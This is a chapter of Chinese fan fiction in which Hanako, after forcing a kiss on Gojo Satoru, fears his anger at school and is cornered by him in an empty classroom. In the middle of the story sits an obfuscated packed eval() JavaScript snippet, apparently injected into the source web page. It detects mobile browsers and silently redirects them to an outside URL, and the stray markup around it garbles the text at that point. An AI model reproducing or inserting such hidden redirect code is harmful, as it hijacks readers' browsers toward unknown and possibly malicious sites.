*
花子回去后,在床上难受了一晚上,不同于被人揍了一拳来得爽快,更多的是一种隐秘的无法言说的异样感,就连翻动身体都会下意识牵动眉尖的疼痛,却在内心深处最阴暗的泥沼里,开出了欢喜的花来……
扭曲着枝蔓,一朵又一朵,簌啦啦……
她知道五条悟会厌恶她,但是她不后悔,就是第二天上课的时候,她下定决心这段时间躲远点他,不要去触他霉头,毕竟自己还是惜命的,在做了这么过分的事情之后。
当她快要到达教室时,赶紧调整了一下自己走路的姿势,力图不让别人瞧出来不自然的地方。
经过昨天那番折腾,除了筋疲力尽之外,手脚也不听话起来,跟她作对似的乱走一气,还发生同手同脚的难堪……
“哈哈哈!杰,你听说了吗……”
“悟你也是……”
一只脚刚迈入教室大门,就听见五条悟和夏油杰的欢声笑语,她就连余光也不敢分出一点给那个方向,而是转向了最左侧墙角,不会途经,且离他最远,可以悄无声息到达自己的座位。
但倏地就没声了,没有人再说话,视线好像都落在了她身上,她加快了步伐,也不在意自己走路是否奇怪,闷头就往角落里去。
她都这样小心了还会打搅到五条悟吗?
总共就四个人,谁和谁说话八卦,一句话就能从教室前头传到最后头,一点隐私都没有。
于是花子就听到杰困惑地询问:
“你干嘛臭着脸?”
“有些不爽……”
“诶?为什么?”
那个人又不说话了,真是莫名其妙的一个DK。
“梅田她走路姿势不太对啊,是受伤了吗?”
还是被人发现了!该死!
花子急忙把课本竖起来,遮住自己的整张脸,啊啊啊,别问了好嘛,别问了,太尴尬了!
“你知道怎么回事吗,悟?”
“我怎么会知道!!!”
“你这么凶干什么?”
……
早上是花子最讨厌的数学课,她昨晚上没睡好,整个人状态不佳,脑袋一点一点的,黏在课本上就再也起不来了……
“上次也不知道是哪个笨蛋连道简单的数学题都不会,现在还睡得着觉的?老师,我看她最适合回答这个问题!”
“梅田……梅田同学?”
花子骤然间听到自己的名字,一个激灵就站起了身,有人发出了嗤笑声,她看了过去。
五条悟掌根撑下巴,五指分得很开,对着她的侧面,六眼冷冷地流转,蓝天下是阴郁的河流,流向巷子口的下水道,阴间得很……
果然,五条悟厌恶她吧,她就是下水道里的臭老鼠,他看一眼都觉得恶心的存在。
她不奢求他的原谅,过分的本来就是她,所以她愿意承受来自对方的任何羞辱,其实往好一点想,这样反而能够消解她的负罪感,让她心里好受一些。
但为何还会有想要落泪的冲动?
花子眨眨眼,直到那股酸涩的情绪一直倒退,退无可退,她也就可以麻木地抬起头,假装自己完全失去了痛感:“我不知道。”
“五条你过分了!”
感谢硝子替她出声,但她不配不是吗?
“切。”那五条悟却不再看她,他翘着腿,课椅倾斜成45°,玩他幼稚的荡秋千游戏。
硝子弯腰到她的课桌前,观察她,她笑起来像城市里某个高档小区,夜晚倒映在金灿灿的水湾上,空荡荡的辉煌,热闹闹的寂寥……
直到她寻找到一丝生趣。
“花子,你的嘴唇流血了诶。”
“是么?”花子抬手去擦,却被对方递过纸巾,她低下头去。
“是受伤了吗?”
“嗯。”
花子胡乱地迎合,真是恨不得把头都埋进课桌里,她小心地按压着嘴上的伤痕,说来真是可气,不就亲个嘴吗?五条悟还要咬她一口,直到将锈味吞咽下去,他都要让她感受到他的气愤。
“怎么这么不小心啊?”
别问了,别问了成吗?硝子啊,虽然谢谢你的关心,但是寻根问底只会让大家都尴尬,没看到那两个DK都注意这边了吗?
饶了我吧!
花子不自觉地摸了摸唇,点点头:“摔的。”
嗯,别问,问就一定是摔的。
“诶?”硝子歪头道,“真的吗?如果花子有什么难言之隐的困难,一定要和我们说哦,不管怎么说大家都是同学嘛……”
花子继续胡乱点头,就让这个话题过去吧,大家别关心我了。
……
上午的数学课上完,夏油杰哥俩好搂住五条悟的肩膀,吆喝道:
“悟,吃饭去吧,今天食堂里有你最爱吃的……”
“你先走。”
“诶?”
“我有点事。”
“你最近很反常哦。”
“你想太多了!”
“那我先走喽!”
“啰嗦死了。”
花子竖起耳朵来听,收拾课本的动作却如行云流水,丝毫看不出她内心的忐忑不安。
五条悟有事?会有什么事?不会和她有关吧?是要来收拾她吗?
不会吧!
她陡然一顿,课本差点就掉到地上,吁了口气。也不知道是该快点收拾完还是慢点收拾完,其实希望对方赶紧走,这样她就可以在不被他注意的情况下溜了。
往常他都会和杰勾肩搭背地离开,但是今天却极其反常,他到底想要干嘛?
该不会是有什么作业拉掉了吧?
唔……还真有这种可能性呢。
花子困惑着,决定再等等。
她记得就是不久前,也是这个时间点,教室,黄昏,两个人,他对她的告白嗤之以鼻,并不留情面地质问她,那时他冷漠的神态还历历在目……
所以这次呢?又会是什么在等着她?会进一步威胁她吗?
可是直到整个世界灰下来,一种比白昼还要令人厌倦的梦境,将他的身影拉向更角落的梦魇里……
凉薄被拧出了水,从走廊尽头的水龙头里一滴……一滴……
简直无法忍受下去。
要不她还是先走吧?
五条悟的心思向来捉摸不透,她还是不奉陪了。
就在她起身之际——
水声溅起,和瓷砖碰撞。
“再对我使用术式的话,就宰了你。”
要杀了她吗?
“知道了。”
他果然无比厌恶她吧?还是不污染他的眼睛了,快走开吧。
“刺啦——”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154166|196503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
却是课椅突兀地移开。
她已经听不见水声了,周遭好似朦胧的梦境,代表着理智的方向已然被堵死,在四面八方呼啸而过的恐惧里,他朝她走过来。
他要干什么???
花子心惊肉跳!
脑海不断闪现一个念头,荒谬但不是绝无可能,他不会是要灭口吧?
五条悟一米九的身高在此时的压迫感简直到了极致,他一步一顿走过来也像极了穷凶极恶的杀人犯,尤其是那冒着幽蓝鬼火的大眼睛,说是地狱来索命的恶魔也不为过!
花子推开课椅。花子节节败退。
花子想要从教室后门逃出去!花子发现门锁了!
她:“去你爹&!%*¥”
总之骂得很脏。
救命啊!她不想死啊!
踏死尅嘚~
(?﹏?)
身侧的门板被按压住,发出吱嘎吱嘎的响动,她慌乱下眼珠子右移,是少年修长的手臂将她困在方寸之地……
气息擦过耳垂,落在脖颈间,汗毛竖起,她忍不住头皮炸了!
“不,不要杀我。呜。”
带上哭腔,她真的努力想活。
身后呼吸一滞,闷声闷气道:
“你怕不是个傻子吧?”
“那你要做什么?”
“我只是来警告你,你对我做过的事不要到处宣扬……”
“我知道了,呜呜。”
大概五条悟也有男人该有的自尊心吧?尤其他还自认为最强,被个他完全不放在眼里的女孩子给强迫了,绝对不是什么光彩的事情。
能够理解。
只是这个背对姿势让花子很难受,她企图转过身去直面对方,但是在扭头的一刹那——
嘴唇从他脸颊擦过,冷玉一般的质感。
花子爆红了脸:“不好意思!”
此时她整个人被圈在怀里,五条悟低头看她,眼皮下沉,只有三分之二的瞳仁,往日里那般绚蓝,如今却逐渐黯淡下去,像是凌晨五点将欲熄灭的路灯,幽秘中带着一丝朦胧的迷离……
砰!砰!砰!
花子快要承受不住心跳了。
他到底要做什么呢?
他撑在她脑后的手臂在下移,沿着她身体的曲线到了腰间……
花子都要惊声尖叫了!
不是,他不会真的要做些什么吧?在这里?报复她?
可她却发现五条悟在笑,笑得奇奇怪怪,分外恶心人。他大手忽地一使力,她腰后的门把手就被拧开了——
他道:“你挡住我的去路了。”
花子侧过身去,给五条悟让路,然后就眼睁睁地目视着他从后门出去了……
他出去了???
临走前潇洒地朝她摆摆手,附赠一枚爽朗的露齿笑,并大拇指赞道:“Good job !”
花子:“……”
这是人能干出来的事???
神经病啊!傻叉!脑子有泡吧!你%¥&……¥%……#%¥
总之依旧骂得很脏。
痛骂五条悟一顿后,她盯着门把手久久无语,她拿起了门把手,对,就是拿起来了,这里是有监控的对吧?
这是五条悟弄坏的!
不是她弄坏的啊啊啊!
她才不要赔钱呢!